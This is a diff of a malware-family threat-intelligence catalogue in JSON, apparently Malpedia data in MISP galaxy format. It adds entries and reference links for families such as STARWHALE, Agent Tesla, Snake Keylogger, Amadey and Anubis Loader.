+10250,29 @@ "uuid": "e24b852c-3ede-42ac-8d04-68ab96bf53a0", "value": "Starfighter (VBScript)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale", + "https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706", + "https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", + "https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html" + ], + "synonyms": [ + "Canopy", + "SloughRAT" + ], + "type": [] + }, + "uuid": "27c70673-d40e-46a2-8f47-13cc5738ff36", + "value": "STARWHALE" + }, { "description": "", "meta": { @@ -8632,6 +10304,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003", + "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", "https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/" ], "synonyms": [], @@ -8640,6 +10313,19 @@ "uuid": "d5955c4b-f507-4b3f-8d57-080849aba831", "value": "Unidentified 003 (Gamaredon Downloader)" }, + { + "description": "Lab52 describes this as a light first-stage RAT used by MuddyWater and observed samples between at least November 2020 and January 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_004", + "https://lab52.io/blog/muddywaters-light-first-stager-targetting-middle-east/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "84c6b483-ba17-4a22-809d-dc37d9ce1822", + "value": "Unidentified VBS 004 (RAT)" + }, { "description": "", "meta": { @@ -8653,18 +10339,39 @@ "uuid": "dc857b7d-f228-4aa5-9e89-f7e17bb7ea8c", "value": "WhiteShadow" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.000stealer", + "https://twitter.com/3xp0rtblog/status/1509978637189419008" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24e598cf-4c55-468a-ac1d-cc4f89104943", + "value": "000Stealer" + }, { "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger", "https://twitter.com/James_inthe_box/status/1401921257109561353", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware", + "https://www.youtube.com/watch?v=vzyJp2w8bPE", + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", + "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", - "https://habr.com/ru/company/group-ib/blog/477198/" + "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", + "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", + "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/" ], "synonyms": [ "404KeyLogger", @@ -8715,6 +10422,7 @@ "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "https://blog.malwarelab.pl/posts/on_the_royal_road/", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://community.riskiq.com/article/56fa1b2f", "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", @@ -9010,26 +10718,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz", - "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/", "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", - "https://unit42.paloaltonetworks.com/ironnetinjector/", "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html", "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/", - "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4", - "https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", - "https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat" + "https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d", + "https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://docs.broadcom.com/doc/waterbug-attack-group", + "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", + "http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/", + "https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf", + "https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4", + "https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat", + "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf" ], "synonyms": [ "ComRAT", @@ -9046,77 +10757,112 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla", - 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"https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", - "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", - "https://isc.sans.edu/diary/27666", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", - "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", - "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", - "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", - "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", - "https://isc.sans.edu/diary/27088", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", + "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", + "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", - "https://www.youtube.com/watch?v=Q9_1xNbVQPY", + "https://youtu.be/hxaeWyK8gMI", + "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", + "https://lab52.io/blog/a-twisted-malware-infection-chain/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", + "https://isc.sans.edu/diary/rss/27092", + "https://inquest.net/blog/2021/11/02/adults-only-malware-lures", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/", + "https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/", + "https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant", + "https://community.riskiq.com/article/56e28880", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", + "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", + "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", + "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", + "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", + "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", + "https://guillaumeorlando.github.io/GorgonInfectionchain", "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", + "https://isc.sans.edu/diary/rss/28190", + "https://community.riskiq.com/article/6337984e", + "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf", + "https://www.youtube.com/watch?v=Q9_1xNbVQPY", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://youtu.be/BM38OshcozE", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://isc.sans.edu/diary/27666", + "https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/", + "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://community.riskiq.com/article/40000d46", + "https://isc.sans.edu/diary/28202", + "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", + "https://www.inde.nz/blog/inside-agenttesla", + "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", + "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", "https://blog.minerva-labs.com/preventing-agenttesla", - "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://lab52.io/blog/a-twisted-malware-infection-chain/", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", - "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://community.riskiq.com/article/6337984e", - "https://isc.sans.edu/diary/rss/27092", - "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", - "https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "http://blog.nsfocus.net/sweed-611/", + "https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/", + "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", + "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://blog.malwarelab.pl/posts/basfu_aggah/", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", + "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://isc.sans.edu/diary/27088", + "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", + "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", + "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", + "https://asec.ahnlab.com/ko/29133/", + "https://twitter.com/MsftSecIntel/status/1392219299696152578", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", + "https://guillaumeorlando.github.io/AgentTesla", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", + "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", + "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://malwarebookreports.com/agent-teslaggah/", + "http://blog.nsfocus.net/sweed-611/", + "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla" ], "synonyms": [ "AgenTesla", @@ -9141,6 +10887,19 @@ "uuid": "405fe149-1454-4e8c-a4a3-d56e0c5f62d7", "value": "AgfSpy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot", + "https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "549b23b1-6f53-494e-a302-1d00aa71043b", + "value": "Ahtapot" + }, { "description": "", "meta": { @@ -9232,7 +10991,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://twitter.com/_re_fox/status/1212070711206064131", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", "https://github.com/Anderson-D/AllaKore", @@ -9374,10 +11135,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon", "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", - "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", + "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/", + "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", "https://www.youtube.com/watch?v=FttiysUZmDw" ], "synonyms": [ @@ -9393,7 +11155,7 @@ "value": "Alureon" }, { - "description": "", + "description": "Amadey is a botnet that appeared around October 2018 and is being sold for about 500$ on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey", @@ -9402,13 +11164,17 @@ "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", + "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", "https://nao-sec.org/2019/04/Analyzing-amadey.html", "https://isc.sans.edu/diary/27264", "https://www.anquanke.com/post/id/230116", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://twitter.com/0xffff0800/status/1062948406266642432", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", @@ -9459,7 +11225,7 @@ "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://www.netscout.com/blog/asert/dropping-anchor", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", "https://unit42.paloaltonetworks.com/ryuk-ransomware/", "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/", @@ -9467,6 +11233,7 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.netscout.com/blog/asert/dropping-anchor", "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", @@ -9479,6 +11246,20 @@ "uuid": "c38308a1-c89d-4835-b057-744f66ff7ddc", "value": "Anchor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", + "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7792096a-7623-43a1-9a67-28dce0e4b39e", + "value": "AnchorMail" + }, { "description": "", "meta": { @@ -9490,12 +11271,14 @@ "http://blog.morphisec.com/andromeda-tactics-analyzed", "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", "http://resources.infosecinstitute.com/andromeda-bot-analysis/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/", - "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", @@ -9523,6 +11306,7 @@ "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", @@ -9601,6 +11385,26 @@ "uuid": "b19c9f63-a18d-47bb-a9fe-1f9cea21bac0", "value": "Anubis (Windows)" }, + { + "description": "A loader written in Go, tracked since at least October 2021 by ZeroFox. Originally named Kraken and rebranded to Anubis in February 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader", + "https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/", + "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", + "https://windowsreport.com/kraken-botnet/", + "https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e" + ], + "synonyms": [ + "Kraken", + "Pepega" + ], + "type": [] + }, + "uuid": "e65ca164-f448-4f8e-a672-3ff7ec37e191", + "value": "Anubis Loader" + }, { "description": "", "meta": { @@ -9658,7 +11462,8 @@ "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://twitter.com/VK_Intel/status/1182730637016481793" + "https://twitter.com/VK_Intel/status/1182730637016481793", + "https://www.telsy.com/download/5394/?uid=28b0a4577e" ], "synonyms": [], "type": [] @@ -9673,15 +11478,19 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed", "https://asec.ahnlab.com/ko/26705/", "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://www.telsy.com/download/5654/?uid=4869868efd", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", 